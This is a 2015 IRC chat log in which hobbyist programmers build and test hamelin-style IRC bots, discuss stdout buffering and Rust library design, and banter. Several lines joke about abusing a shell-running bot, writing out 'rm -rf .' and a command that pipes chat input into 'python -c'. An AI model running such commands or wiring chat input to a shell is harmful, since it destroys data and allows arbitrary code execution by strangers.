[2015-02-16T17:44:08-0500] <JacobEdelman> you need to code in java less
[2015-02-16T17:45:05-0500] <Fill> awe: what university do you attend?
[2015-02-16T17:45:54-0500] <+awe> JacobEdelman: I haven't touched anything Java in a while.
[2015-02-16T17:46:00-0500] <JacobEdelman> awe attends umass amherst
[2015-02-16T17:46:02-0500] <+awe> Fill: The University of Massachusetts, Amherst.
[2015-02-16T17:46:06-0500] <JacobEdelman> awe: thats no excuse
[2015-02-16T17:46:12-0500] <Fill> nice
[2015-02-16T17:46:13-0500] <JacobEdelman> awe: your hands are tained
[2015-02-16T17:46:16-0500] <JacobEdelman> awe: with the blood
[2015-02-16T17:46:21-0500] <+awe> JacobEdelman: There's no excuse for the fact that all of your projects are in JS.
[2015-02-16T17:46:23-0500] <JacobEdelman> awe: of the innocent
[2015-02-16T17:46:29-0500] <JacobEdelman> awe: js is way better than java
[2015-02-16T17:46:33-0500] <JacobEdelman> and not all of them
[2015-02-16T17:46:34-0500] <+awe> False.
[2015-02-16T17:46:44-0500] <JacobEdelman> one of my biggest projects is in nim
[2015-02-16T17:47:21-0500] <+awe> That's because you've never programmed anything that's more than a few hundred lines. .-.
[2015-02-16T17:50:03-0500] <+awe> I believe you have more JS repositories than I do Java anyway.
[2015-02-16T18:02:08-0500] <JacobEdelman> ... you keep upping the amount of lines in a "real project"
[2015-02-16T18:02:20-0500] <JacobEdelman> I mean, I've programmed at least as much as most of the people here
[2015-02-16T18:02:35-0500] <JacobEdelman> so shhhhh
[2015-02-16T18:41:19-0500] <+hardmath123> JacobEdelman: someone beat you to hamelin-irc https://github.com/Hardmath123/hamelin/pull/3
[2015-02-16T20:08:54-0500] <LittleBobbyTables> sup nurds
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[2015-02-16T20:15:12-0500] <+alokpathy> LittleBobbyTables: soup
[2015-02-16T20:16:05-0500] <LittleBobbyTables> not much soup you
[2015-02-16T20:25:55-0500] <+alokpathy> Not much either.
[2015-02-16T20:25:58-0500] <+alokpathy> Does anybody have souop?
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[2015-02-16T20:37:13-0500] <JacobEdelman> you know
[2015-02-16T20:37:19-0500] <JacobEdelman> people should stop doubting me so much
[2015-02-16T20:37:23-0500] <JacobEdelman> I havn't been right yet!
[2015-02-16T20:38:30-0500] <JacobEdelman> hardmath123: hamelin-get it is
[2015-02-16T20:38:36-0500] <JacobEdelman> I'll do it tommorow
[2015-02-16T21:10:18-0500] <LittleBobbyTables> Can I participate in that ctf you sent me an email about JAcob
[2015-02-16T21:11:34-0500] <JacobEdelman_phone> Yes you can participate
[2015-02-16T21:12:13-0500] <LittleBobbyTables> sweet
[2015-02-16T21:12:24-0500] <LittleBobbyTables> what's the link again?
[2015-02-16T21:12:32-0500] <JacobEdelman_phone>  But no winning prizes
[2015-02-16T21:12:47-0500] <JacobEdelman_phone> Sctf.io
[2015-02-16T21:13:17-0500] <JacobEdelman_phone> There will be a few other ctfs but that is the closest one
[2015-02-16T21:13:57-0500] <+ubuntor> shiftjis, why must you exist
[2015-02-16T21:18:42-0500] <+alokpathy> wat
[2015-02-16T21:19:50-0500] <+ubuntor> encoding issues
[2015-02-16T21:22:03-0500] <+awe> hardmath123: It's okay. My IRC implementation will be better.
[2015-02-16T22:04:46-0500] <JacobEdelman_phone> Hpmor is good!
[2015-02-16T22:11:09-0500] <+awe> hardmath123: I'm not really sure how to have it join channels right now.
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[2015-02-16T22:13:23-0500] <+awe> goat
[2015-02-16T22:13:26-0500] <+awe> y u nog oat
[2015-02-16T22:13:28-0500] <+awe> y u no goat
[2015-02-16T22:13:30-0500] <+awe> grumble
[2015-02-16T22:13:36-0500] <+hardmath123> lol
[2015-02-16T22:13:50-0500] <+awe> I think I know why.
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[2015-02-16T22:16:20-0500] <+awe> goat
[2015-02-16T22:16:20-0500] <hamelin> goat
[2015-02-16T22:16:22-0500] <+awe> YES
[2015-02-16T22:16:25-0500] <+awe> now you goat :)
[2015-02-16T22:16:29-0500] <+awe> Erm.
[2015-02-16T22:16:32-0500] <+awe> And then you hang forever.
[2015-02-16T22:16:33-0500] <+awe> Okay.
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[2015-02-16T22:16:54-0500] <Hyper> so did any of you sign up for defhacks?
[2015-02-16T22:17:06-0500] <+awe> hardmath123: I'm not really sure how I'm supposed to know that it's time for it to exit.
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[2015-02-16T22:18:34-0500] <+awe> Did you goat
[2015-02-16T22:18:37-0500] <+awe> Y u no goat
[2015-02-16T22:18:41-0500] <+awe> Welp.
[2015-02-16T22:18:42-0500] <+awe> It's not hanging.
[2015-02-16T22:18:46-0500] <+awe> But it's also not goat.
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[2015-02-16T22:19:04-0500] <+awe> goat
[2015-02-16T22:19:05-0500] <hamelin> goat
[2015-02-16T22:19:08-0500] <+awe> Well, okay.
[2015-02-16T22:19:13-0500] <+awe> It's not hanging, and it's goating.
[2015-02-16T22:19:15-0500] <+awe> Goat.
[2015-02-16T22:19:18-0500] <+awe> goat
[2015-02-16T22:19:19-0500] <+awe> Or not.
[2015-02-16T22:19:23-0500] <+awe> But it's not hanging.
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[2015-02-16T22:21:34-0500] <LittleBobbyTables> What if I just announce that I'm in HS, can I win prizes?
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[2015-02-16T22:22:09-0500] <+awe> Okay, let's try again.
[2015-02-16T22:22:10-0500] <+awe> Goat.
[2015-02-16T22:22:11-0500] <+awe> goat
[2015-02-16T22:22:12-0500] <hamelin> goat
[2015-02-16T22:22:16-0500] <+awe> WOO GOAT
[2015-02-16T22:22:18-0500] <+awe> goat
[2015-02-16T22:22:18-0500] <hamelin> goat
[2015-02-16T22:22:22-0500] <+awe> is there goat
[2015-02-16T22:22:22-0500] <hamelin> is there goat
[2015-02-16T22:22:24-0500] <+awe> there is goat
[2015-02-16T22:22:24-0500] <hamelin> there is goat
[2015-02-16T22:22:27-0500] <+awe> woo goat
[2015-02-16T22:22:27-0500] <hamelin> woo goat
[2015-02-16T22:22:36-0500] <+hardmath123> goatee
[2015-02-16T22:22:36-0500] <hamelin> goatee
[2015-02-16T22:22:47-0500] <+hardmath123> @iam a goat.
[2015-02-16T22:22:48-0500] <+awebot> hardmath123: Got it!
[2015-02-16T22:22:48-0500] <hamelin> @iam a goat.
[2015-02-16T22:22:48-0500] <+awebot> hamelin: Got it!
[2015-02-16T22:22:53-0500] <+hardmath123> @iam number four.
[2015-02-16T22:22:53-0500] <+awebot> hardmath123: Got it!
[2015-02-16T22:23:12-0500] <+awe> hardmath123: the only way this can really make sense is by having a time it waits until it tries to read everything.
[2015-02-16T22:23:36-0500] <+awe> hardmath123: so, I think I'm going to set it at 100ms and that should be enough time to figure out your response?
[2015-02-16T22:24:18-0500] <+hardmath123> ?
[2015-02-16T22:24:22-0500] <+hardmath123> I don't understand the problem.
[2015-02-16T22:24:33-0500] <LittleBobbyTables> goat
[2015-02-16T22:24:33-0500] <hamelin> goat
[2015-02-16T22:24:45-0500] <+awe> There's no clear solution for multi-line responses.
[2015-02-16T22:24:57-0500] <+awe> I could wait until I get one line from the program and then send it and move on
[2015-02-16T22:25:05-0500] <LittleBobbyTables> why doesn't he respond in this chat if we pm him
[2015-02-16T22:25:06-0500] <+awe> But if it returns multiple output lines, it's less clear.
[2015-02-16T22:25:14-0500] <+awe> LittleBobbyTables: he should respond in pm
[2015-02-16T22:25:24-0500] <LittleBobbyTables> he does
[2015-02-16T22:25:24-0500] <+awe> Yeah, he does.
[2015-02-16T22:25:27-0500] <LittleBobbyTables> but why doesn't he respond here
[2015-02-16T22:25:33-0500] <+awe> Why would he respond here from a PM?
[2015-02-16T22:25:44-0500] <LittleBobbyTables> because then I can fuck with him
[2015-02-16T22:25:49-0500] <+awe> Lol, no.
[2015-02-16T22:26:18-0500] <+awe> hardmath123: So, because I'm assuming there's multiple lines, what I do is I wait 100ms to give it time to process and output everything and then I go through and send all of it.
[2015-02-16T22:26:55-0500] <+hardmath123> Can't you send each line as a PRIVMSG by itself?
[2015-02-16T22:26:59-0500] <+awe> I do.
[2015-02-16T22:27:05-0500] <+hardmath123> Then why do you need to way?
[2015-02-16T22:27:13-0500] <+hardmath123> *wait?
[2015-02-16T22:27:15-0500] <+awe> Because otherwise there's no way that it'll stop.
[2015-02-16T22:27:23-0500] <+awe> I could spin up a new thread but that'd be a bad idea, too.
[2015-02-16T22:27:27-0500] <+hardmath123> ?
[2015-02-16T22:27:30-0500] <+hardmath123> stop?
[2015-02-16T22:27:39-0500] <+awe> How do you envision this working with IRC?
[2015-02-16T22:27:48-0500] <+awe> One server per message?
[2015-02-16T22:27:50-0500] <+awe> Or one server period?
[2015-02-16T22:27:55-0500] <+hardmath123> One server period.
[2015-02-16T22:27:58-0500] <+awe> Oh.
[2015-02-16T22:28:02-0500] <+awe> That's different.
[2015-02-16T22:28:05-0500] <+awe> I'm doing one server per message.
[2015-02-16T22:28:08-0500] <+hardmath123> !
[2015-02-16T22:28:15-0500] <+hardmath123> That's kind of inefficient?
[2015-02-16T22:28:18-0500] <+awe> Not really.
[2015-02-16T22:28:24-0500] <+awe> It's not hanging.
[2015-02-16T22:28:28-0500] <+hardmath123> That means a new subprocess for each PRIVMSG.
[2015-02-16T22:28:30-0500] <+awe> It's processing messages immediately on receiving them.
[2015-02-16T22:28:32-0500] <+awe> Yes, it does.
[2015-02-16T22:28:36-0500] <+hardmath123> That's insane.
[2015-02-16T22:28:49-0500] <+awe> I can change it easily.
[2015-02-16T22:29:17-0500] <+awe> Okay, so, if I do one server for the whole thing, it'll just be one thread that tries to read from the server and then sends messages when it can
[2015-02-16T22:29:26-0500] <+hardmath123> Yes, exactly.
[2015-02-16T22:29:27-0500] <+awe> and one thread that processes incoming messages and writes them.
[2015-02-16T22:29:34-0500] <+hardmath123> 1-server-per-channel-or-query-session.
[2015-02-16T22:29:41-0500] <+awe> Oh.
[2015-02-16T22:29:45-0500] <+awe> That's ALSO different.
[2015-02-16T22:29:49-0500] <+hardmath123> It is, yes.
[2015-02-16T22:29:56-0500] <+hardmath123> But that's The Right Way (tm).
[2015-02-16T22:30:07-0500] <+awe> It depends on what you're doing.
[2015-02-16T22:30:25-0500] <+awe> But okay. I'll do that.
[2015-02-16T22:30:40-0500] <+hardmath123> 1serv/chan works for the majority of things that need to be done
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[2015-02-16T22:47:15-0500] <+awe> goats
[2015-02-16T22:47:16-0500] <hamelin> goats
[2015-02-16T22:47:19-0500] <+awe> Are there goats
[2015-02-16T22:47:19-0500] <hamelin> Are there goats
[2015-02-16T22:47:20-0500] <+awe> There are goats.
[2015-02-16T22:47:20-0500] <hamelin> There are goats.
[2015-02-16T22:47:24-0500] <+awe> hamelin: there you go.
[2015-02-16T22:47:33-0500] <+awe> hamelin: one per thing to respond to.
[2015-02-16T22:47:35-0500] <+awe> erm
[2015-02-16T22:47:36-0500] <+awe> hardmath123: ^
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[2015-02-16T22:49:18-0500] <+awe> Hah.
[2015-02-16T22:49:19-0500] <+awe> Yes.
[2015-02-16T22:49:30-0500] <+awe> It automatically rejoins on disconnect.
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[2015-02-16T22:52:27-0500] <+alokpathy> ARe there goats?
[2015-02-16T22:52:29-0500] <+alokpathy> Wait
[2015-02-16T22:52:31-0500] <+alokpathy> oh
[2015-02-16T22:52:33-0500] <+alokpathy> aw
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[2015-02-16T22:59:43-0500] <+awe> eyyo dog
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[2015-02-16T23:00:02-0500] <+alokpathy> awe: You scared him :/
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[2015-02-16T23:00:06-0500] <+awe> goats
[2015-02-16T23:00:06-0500] <hamelin> goats
[2015-02-16T23:00:07-0500] <+awe> I like goats.
[2015-02-16T23:00:07-0500] <hamelin> I like goats.
[2015-02-16T23:00:08-0500] <Hyper> goat
[2015-02-16T23:00:08-0500] <hamelin> goat
[2015-02-16T23:00:10-0500] <+alokpathy> Oh nice
[2015-02-16T23:00:10-0500] <+awe> :)
[2015-02-16T23:00:12-0500] <Hyper> goat pls
[2015-02-16T23:00:12-0500] <hamelin> goat pls
[2015-02-16T23:00:13-0500] <+awe> There we go.
[2015-02-16T23:00:14-0500] <Hyper> pls goat
[2015-02-16T23:00:14-0500] <hamelin> pls goat
[2015-02-16T23:00:16-0500] <+alokpathy> goat hi
[2015-02-16T23:00:16-0500] <hamelin> goat hi
[2015-02-16T23:00:17-0500] <Hyper> goat goat
[2015-02-16T23:00:17-0500] <hamelin> goat goat
[2015-02-16T23:00:19-0500] <Hyper> gotoatoto
[2015-02-16T23:00:22-0500] <Hyper> gotogoat
[2015-02-16T23:00:22-0500] <hamelin> gotogoat
[2015-02-16T23:00:23-0500] <+alokpathy> goatato
[2015-02-16T23:00:23-0500] <hamelin> goatato
[2015-02-16T23:00:25-0500] <Hyper> goto goat
[2015-02-16T23:00:25-0500] <hamelin> goto goat
[2015-02-16T23:00:26-0500] <+alokpathy> goooat
[2015-02-16T23:00:28-0500] <+alokpathy> dang
[2015-02-16T23:00:31-0500] <+alokpathy> goat
[2015-02-16T23:00:31-0500] <hamelin> goat
[2015-02-16T23:00:36-0500] <+alokpathy> goat potato
[2015-02-16T23:00:36-0500] <hamelin> goat potato
[2015-02-16T23:00:38-0500] <+awe> So, you guys are really enjoying goats.
[2015-02-16T23:00:39-0500] <hamelin> So, you guys are really enjoying goats.
[2015-02-16T23:00:40-0500] <+awe> @whois hamelin
[2015-02-16T23:00:41-0500] <+awebot> awe: hamelin is a goat.
[2015-02-16T23:00:41-0500] <hamelin> awe: hamelin is a goat.
[2015-02-16T23:00:44-0500] <+awe> lol.
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[2015-02-16T23:03:06-0500] <+awe> hi goat
[2015-02-16T23:03:06-0500] <goat> hi goat
[2015-02-16T23:03:11-0500] <+alokpathy> goatbot
[2015-02-16T23:03:11-0500] <goat> goatbot
[2015-02-16T23:03:19-0500] <+alokpathy> Where can I find a goat?
[2015-02-16T23:03:19-0500] <goat> Where can I find a goat?
[2015-02-16T23:03:24-0500] <+alokpathy> Oh look! a goat!
[2015-02-16T23:03:24-0500] <goat> Oh look! a goat!
[2015-02-16T23:03:28-0500] <+alokpathy> Where's the goat?
[2015-02-16T23:03:28-0500] <goat> Where's the goat?
[2015-02-16T23:03:32-0500] <+alokpathy> I asked you, goat.
[2015-02-16T23:03:32-0500] <goat> I asked you, goat.
[2015-02-16T23:03:40-0500] <+bob_twinkles> goat goat goat
[2015-02-16T23:03:40-0500] <goat> goat goat goat
[2015-02-16T23:03:47-0500] <+bob_twinkles> that's going to get annoying fast
[2015-02-16T23:03:47-0500] <+alokpathy> awe awebot | Something tells me you're sweet. Can I have a taste?
[2015-02-16T23:03:55-0500] <+alokpathy> Am I just that attractive?
[2015-02-16T23:03:57-0500] <+alokpathy> Aw thatnks awebot
[2015-02-16T23:04:18-0500] <+awe> He's talking about your lady parts, alokpathy.
[2015-02-16T23:04:35-0500] <+alokpathy> What lady parts?
[2015-02-16T23:04:39-0500] <+awe> bob_twinkles: Do you really think I'm going to run a bot that does grep --line-buffered goat for that long?
[2015-02-16T23:04:40-0500] <goat> bob_twinkles: Do you really think I'm going to run a bot that does grep --line-buffered goat for that long?
[2015-02-16T23:04:40-0500] <+alokpathy> I'm the most masculine man I know.
[2015-02-16T23:04:57-0500] <+hardmath123> lol at this point, awe has written more hamelin-compliant code than  I have.
[2015-02-16T23:05:03-0500] <+awe> You're welcome, babycakes.
[2015-02-16T23:05:05-0500] <+bob_twinkles> well, if it only triggers on goat then maybe =P
[2015-02-16T23:05:05-0500] <goat> well, if it only triggers on goat then maybe =P
[2015-02-16T23:05:32-0500] <+bob_twinkles> you should make it just echo "goat" whenever it sees goat
[2015-02-16T23:05:32-0500] <goat> you should make it just echo "goat" whenever it sees goat
[2015-02-16T23:05:42-0500] <+bob_twinkles> also, I'm now trying to use the word goat as much as possible
[2015-02-16T23:05:43-0500] <goat> also, I'm now trying to use the word goat as much as possible
[2015-02-16T23:05:43-0500] <+awe> It's just uhh...
[2015-02-16T23:05:46-0500] <+awe> grep --line-buffered goat
[2015-02-16T23:05:47-0500] <goat> grep --line-buffered goat
[2015-02-16T23:05:53-0500] <+awe> What's the flag to make it match just the word?
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[2015-02-16T23:06:07-0500] <+bob_twinkles> "goat --line-buffered goat | sed $MAGIC"
[2015-02-16T23:06:11-0500] <+bob_twinkles> er
[2015-02-16T23:06:14-0500] <+bob_twinkles> grep
[2015-02-16T23:06:16-0500] <+bob_twinkles> not goat
[2015-02-16T23:06:18-0500] <+bob_twinkles> damnit
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[2015-02-16T23:06:48-0500] <+awe> I like goats
[2015-02-16T23:06:48-0500] <goat> goat
[2015-02-16T23:06:50-0500] <+awe> There you go.
[2015-02-16T23:06:55-0500] <+awe> grep --line-buffered -o goat
[2015-02-16T23:06:55-0500] <goat> goat
[2015-02-16T23:06:56-0500] <Hyper> GOAT
[2015-02-16T23:06:58-0500] <Hyper> nope
[2015-02-16T23:07:07-0500] <+bob_twinkles> needs more -i
[2015-02-16T23:07:07-0500] <+awe> Didn't add the case-insensitive flag.
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[2015-02-16T23:07:17-0500] <+awe> GOAT
[2015-02-16T23:07:17-0500] <goat> GOAT
[2015-02-16T23:07:19-0500] <+awe> There.
[2015-02-16T23:07:20-0500] <+awe> Happy?
[2015-02-16T23:07:25-0500] <+bob_twinkles> very nice
[2015-02-16T23:07:38-0500] <+hardmath123> now run hamelin with bash!
[2015-02-16T23:07:45-0500] <+awe> hardmath123: uhh... no.
[2015-02-16T23:07:49-0500] <+hardmath123> :P
[2015-02-16T23:07:50-0500] <+awe> hardmath123: let's not and say we did. :p
[2015-02-16T23:08:04-0500] <+awe> I kind of want to try it now, but I don't trust you guys.
[2015-02-16T23:08:05-0500] <+bob_twinkles> now you just need to run that on one of the VPSs and then forget about it for a month
[2015-02-16T23:08:14-0500] <+hardmath123> We do this on my school's IRC.
[2015-02-16T23:08:22-0500] <+hardmath123> shellbot listens for lines that start with !$
[2015-02-16T23:08:29-0500] <+hardmath123> !$ echo "Hi"
[2015-02-16T23:08:32-0500] <+awe> I'm pretty sure you'll immediately go rm -rf .
[2015-02-16T23:09:07-0500] <+bob_twinkles> nah
[2015-02-16T23:09:10-0500] <+bob_twinkles> rm -rvf .
[2015-02-16T23:09:12-0500] <+awe> lol
[2015-02-16T23:09:13-0500] <+awe> thanks.
[2015-02-16T23:09:18-0500] <+bob_twinkles> just so you can see it all go wrong =D
[2015-02-16T23:10:36-0500] <+awe> http://sprunge.us/ZFaX
[2015-02-16T23:10:37-0500] <+awe> There you go.
[2015-02-16T23:10:38-0500] <+awe> I tried it.
[2015-02-16T23:11:04-0500] <+hardmath123> lol
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[2015-02-16T23:11:26-0500] <+awe> let foo = id
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[2015-02-16T23:11:30-0500] <+awe> lolnope.
[2015-02-16T23:11:35-0500] <+awe> ghci is not ready for this.
[2015-02-16T23:11:40-0500] <+bob_twinkles> heh
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[2015-02-16T23:11:57-0500] <+awe> print "hi"
[2015-02-16T23:12:01-0500] <+awe> or not.
[2015-02-16T23:12:04-0500] <+bob_twinkles> *boom*
[2015-02-16T23:12:06-0500] <+awe> fuck you, python interpreter!
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[2015-02-16T23:12:15-0500] <+awe> puts "hi"
[2015-02-16T23:12:20-0500] <+awe> fuck you, ruby interpreter!
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[2015-02-16T23:12:29-0500] <+hardmath123> lol
[2015-02-16T23:12:43-0500] <+awe> It's actually because of the use case you defined, hardmath123.
[2015-02-16T23:12:54-0500] <+awe> The guard doesn't die, so it never evaluates the ruby.
[2015-02-16T23:13:12-0500] <+awe> And I dunno what the python one is doing.
[2015-02-16T23:13:30-0500] <+hardmath123> guard?
[2015-02-16T23:13:36-0500] <+awe> That's what I call servers.
[2015-02-16T23:14:02-0500] <+awe> Because they're represented as an object that maintains the thing until it drops out of scope.
[2015-02-16T23:14:19-0500] <+awe> Which seem to be idiomatically referred to as guards in Rust.
[2015-02-16T23:15:02-0500] <+bob_twinkles> awe: sh -c 'read EXEC && python -c $EXEC'
[2015-02-16T23:15:16-0500] <+bob_twinkles> nothing could go wrong
[2015-02-16T23:15:18-0500] <+awe> bob_twinkles: oh yeah, another reason why I can't quite scale as much as I want is that I need an additional thread for each server to do async reading from the command.
[2015-02-16T23:15:27-0500] <+awe> Obviously not.
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[2015-02-16T23:15:45-0500] <+awe> print "hi"
[2015-02-16T23:15:48-0500] <+awe> nope
[2015-02-16T23:15:56-0500] <+hardmath123> wait
[2015-02-16T23:15:56-0500] <+awe> :columba.pdgn.co 412 goat :No text to send
[2015-02-16T23:16:00-0500] <+hardmath123> import sys
[2015-02-16T23:16:01-0500] <+awe> echo "hi"
[2015-02-16T23:16:03-0500] <+awe> import sys
[2015-02-16T23:16:04-0500] <+hardmath123> sys.stdout.flush()
[2015-02-16T23:16:09-0500] <+awe> print "hi"
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[2015-02-16T23:16:24-0500] <+awe> I don't think it'd be stateful like that.
[2015-02-16T23:16:35-0500] <+hardmath123> it needs flushes though
[2015-02-16T23:16:40-0500] <+hardmath123> the guestbook example has a flush
[2015-02-16T23:16:44-0500] <+awe> Why...?
[2015-02-16T23:16:50-0500] <+hardmath123> Because buffering?
[2015-02-16T23:16:54-0500] <+hardmath123> Buffering is a thing.
[2015-02-16T23:16:57-0500] <+awe> In stdout?
[2015-02-16T23:16:59-0500] <+awe> Wow, Python.
[2015-02-16T23:16:59-0500] <+awe> Wow.
[2015-02-16T23:17:10-0500] <+bob_twinkles> pretty much every language buffers stdout by default
[2015-02-16T23:17:25-0500] <+awe> You would think print would flush implicitly though.
[2015-02-16T23:17:28-0500] <+hardmath123> UNIX buffers stdout by default.
[2015-02-16T23:17:37-0500] <+bob_twinkles> well really s/stdout/file handles/
[2015-02-16T23:17:40-0500] <+awe> I can't think of any language where I have to write stdout.flush()
[2015-02-16T23:17:48-0500] <+hardmath123> awe: but it's buffered in all your languages.
[2015-02-16T23:17:56-0500] <+bob_twinkles> usually it's line buffered though
[2015-02-16T23:18:00-0500] <+awe> But I don't have to write flush after every thing I print.
[2015-02-16T23:18:12-0500] <+hardmath123> yes, it's line-buffered when it detects you're writing a tty most of the time
[2015-02-16T23:18:19-0500] <+hardmath123> for example, grep is line-buffered on ttys.
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[2015-02-16T23:19:13-0500] <+awe> lol
[2015-02-16T23:19:19-0500] <+awe> echo doesn't work :(
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[2015-02-16T23:19:26-0500] <+awe> ...
[2015-02-16T23:19:26-0500] <goat> ...
[2015-02-16T23:19:28-0500] <+awe> there we go
[2015-02-16T23:19:28-0500] <goat> there we go
[2015-02-16T23:19:31-0500] <+awe> I used cat instead.
[2015-02-16T23:19:31-0500] <goat> I used cat instead.
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[2015-02-16T23:20:01-0500] <+hardmath123> echo ain't line buffered, yo.
[2015-02-16T23:20:55-0500] <+awe> I know.
[2015-02-16T23:21:39-0500] <+hardmath123> "You can skip buffering for a whole python process using "python -u" (or#!/usr/bin/env python -u etc) or by setting the environment variable PYTHONUNBUFFERED."
[2015-02-16T23:21:47-0500] <+hardmath123> Boom.
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[2015-02-16T23:22:11-0500] <+awe> print "hi"
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[2015-02-16T23:22:25-0500] <+awe> print "hi"
[2015-02-16T23:22:27-0500] <+awe> nope
[2015-02-16T23:22:30-0500] <+awe> still no text to send.
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[2015-02-16T23:24:06-0500] <+awe> hardmath123: what are some other interesting things I can run as an IRC bot?
[2015-02-16T23:24:28-0500] <+hardmath123> awe: figlet if you want to be annoying
[2015-02-16T23:24:37-0500] <+awe> figlet?
[2015-02-16T23:24:47-0500] <+awe> Oh.
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[2015-02-16T23:27:05-0500] <+awe> $$$
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[2015-02-16T23:27:13-0500] <+awe> hi
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[2015-02-16T23:27:16-0500] <+awe> :(
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[2015-02-16T23:27:40-0500] <+awe> hi
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[2015-02-16T23:29:08-0500] <+awe> trololo
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[2015-02-16T23:29:13-0500] <+awe> damn.
[2015-02-16T23:29:17-0500] <+awe> I can't do cowsay or figlet.
[2015-02-16T23:35:15-0500] <+awe> hardmath123: We really ought to work on something better for the spec, even if it's not quite RFC quality.
[2015-02-16T23:35:30-0500] <+hardmath123> Yeah.
[2015-02-17T00:10:16-0500] <+awe> My other IRC had way more fun with the goat boat.
[2015-02-17T00:10:17-0500] <+awe> bot*
[2015-02-17T00:10:45-0500] <+awe> http://sprunge.us/VHSM
[2015-02-17T00:13:20-0500] <+awe> Also, http://sprunge.us/bCTQ
[2015-02-17T00:16:17-0500] <+alokpathy> I think most of us are asleep :P
[2015-02-17T00:27:15-0500] <+ubuntor> hi
[2015-02-17T00:27:37-0500] <+alokpathy> Or just inactive.
[2015-02-17T00:46:46-0500] <LittleBobbyTables> Or don't care.
[2015-02-17T00:49:45-0500] <+alokpathy> Or that, yeah.
[2015-02-17T01:18:04-0500] <LittleBobbyTables> Anyone know if USB 3.0 is supported on VBox yet
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[2015-02-17T02:55:16-0500] <grantwu> https://www.virtualbox.org/ticket/8873
[2015-02-17T02:56:06-0500] <grantwu> Doesn't seem like it
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[2015-02-17T10:44:35-0500] <JacobEdelman_phone> No school today!
[2015-02-17T10:44:52-0500] <JacobEdelman_phone> Hsctf prep session number one
[2015-02-17T11:33:16-0500] <+alokpathy> woo 4 day weekend
[2015-02-17T11:33:23-0500] <+alokpathy> then random day of school for CS club
[2015-02-17T11:33:25-0500] <+alokpathy> and then another day off
[2015-02-17T11:53:47-0500] <+awe> I also had the day off.
[2015-02-17T11:54:03-0500] <+awe> My Calc professor was traveling and his flight got cancelled. So, he's not back yet.
[2015-02-17T11:57:53-0500] <+alokpathy> awe: How much snow do you guys have?
[2015-02-17T11:58:02-0500] <+awe> None?
[2015-02-17T11:58:12-0500] <+awe> Well, like, it didn't snow last night.
[2015-02-17T11:58:44-0500] <+alokpathy> Like, how much do you have on the ground now?
[2015-02-17T12:09:32-0500] <+awe> A lot.
[2015-02-17T12:18:21-0500] <+alokpathy> A foot?
[2015-02-17T12:29:53-0500] <+awe> Probablymore.
[2015-02-17T12:30:09-0500] <+alokpathy> Deng
[2015-02-17T12:30:23-0500] <+alokpathy> Isn't there a shitton in Boston?
[2015-02-17T12:32:43-0500] <+awe> Yeah.
[2015-02-17T12:32:46-0500] <+awe> Like two-feet-ish.
[2015-02-17T12:33:16-0500] <+alokpathy> Damn.
[2015-02-17T12:33:32-0500] <+awe> Woo, I finished implementing polynomials in Haskell.
[2015-02-17T12:33:36-0500] <+alokpathy> :D
[2015-02-17T12:33:51-0500] <+awe> Hardest part was actually making them display pretty.
[2015-02-17T12:34:04-0500] <+awe> Followed by multiplication.
[2015-02-17T12:34:59-0500] <+awe> n-derivatives were easy (in terms of derivatives) and derivatives were pretty easy.
[2015-02-17T12:38:52-0500] <+awe> I love having conceal on because now my lambdas look all fancy.
[2015-02-17T12:39:12-0500] <+awe> https://www.dropbox.com/s/hy0pomm8b6li9jc/Screenshot%202015-02-17%2012.39.10.png?dl=0
[2015-02-17T12:48:50-0500] <+alokpathy> Oh nice
[2015-02-17T12:48:54-0500] <+alokpathy> those lambdas LOL
[2015-02-17T12:49:07-0500] <+alokpathy> I didn't know you could make them show up like that.
[2015-02-17T12:56:24-0500] <+awe> Yeah, vim conceal.
[2015-02-17T13:23:50-0500] <+awe> Fill: are you sure that you can't set usermodes earlier?
[2015-02-17T13:24:09-0500] <+awe> Fill: i.e. can I set them before I send NICK?
[2015-02-17T13:24:36-0500] <+awe> No, I definitely can't.
[2015-02-17T13:27:44-0500] <Fill> nope, you can;t
[2015-02-17T13:27:55-0500] <Fill> You need to identify
[2015-02-17T13:28:18-0500] <Fill> identify, as in, send NICK and USER
[2015-02-17T13:29:23-0500] <Fill> awe: oh, I just saw your comment on gh
[2015-02-17T13:29:42-0500] <Fill> sorry for the mess, I completely forgot about the tests
[2015-02-17T13:29:46-0500] <Fill> how do you check them though? cargo test?
[2015-02-17T13:29:49-0500] <+awe> Yeah.
[2015-02-17T13:29:58-0500] <+awe> You updated the unit tests, but you forgot to update mktestconfig.sh
[2015-02-17T13:30:00-0500] <+awe> That was the issue.
[2015-02-17T13:30:21-0500] <Fill> aah, right
[2015-02-17T13:32:13-0500] <+awe> So, the test config didn't have a umode set, but you were testing if it had +BR.
[2015-02-17T13:33:50-0500] <+awe> Fill: I have #[unstable = "Design is liable to change to accomodate new functionality."] on ServerIterator
[2015-02-17T13:33:59-0500] <+awe> Fill: but I cannot for the life of me remember what new functionality I had planned for it. .-.
[2015-02-17T13:34:22-0500] <Fill> I wondered what it would be when I saw that
[2015-02-17T13:34:30-0500] <+awe> I had something particular in mind.
[2015-02-17T13:34:39-0500] <+awe> It was something I tried to do quickly and then was like "Erm... this might take more time."
[2015-02-17T13:34:53-0500] <Fill> well, it seems to be pretty complete
[2015-02-17T13:35:45-0500] <+awe> I had something cool in mind with the iterators...
[2015-02-17T13:36:08-0500] <+awe> Hmm, this wasn't it, but this could be useful too.
[2015-02-17T13:36:17-0500] <+awe> An iterator that returns Commands instead of Messages.
[2015-02-17T13:36:26-0500] <+awe> OH. I remember now.
[2015-02-17T13:36:29-0500] <Fill> hum
[2015-02-17T13:36:31-0500] <Fill> that would be nice, yes
[2015-02-17T13:36:33-0500] <+awe> I was going to make it so that you could disable message handling.
[2015-02-17T13:36:48-0500] <+awe> Basically, an opt-in to having to handle more.
[2015-02-17T13:37:22-0500] <Fill> you mean disable handle_message() ?
[2015-02-17T13:37:32-0500] <+awe> Yeah.
[2015-02-17T13:38:01-0500] <+awe> I'm not sure the use case exactly, but I was thinking that someone might want more control.
[2015-02-17T13:38:38-0500] <Fill> Hmmm
[2015-02-17T13:39:51-0500] <Fill> I don't know. handle_message() doesn't take that much control out of the library user. It basically handles / uses config settings
[2015-02-17T13:40:15-0500] <+awe> Say you wanted to change all the CTCP responses though.
[2015-02-17T13:40:25-0500] <+awe> For example, if you made your own IRC client with the library.
[2015-02-17T13:40:38-0500] <+awe> You'd want it to send a different VERSION response.
[2015-02-17T13:40:54-0500] <Fill> wouldn't it make more sense to have ctcp responses as part of config?
[2015-02-17T13:41:15-0500] <+awe> All of them?
[2015-02-17T13:41:16-0500] <+awe> Not really.
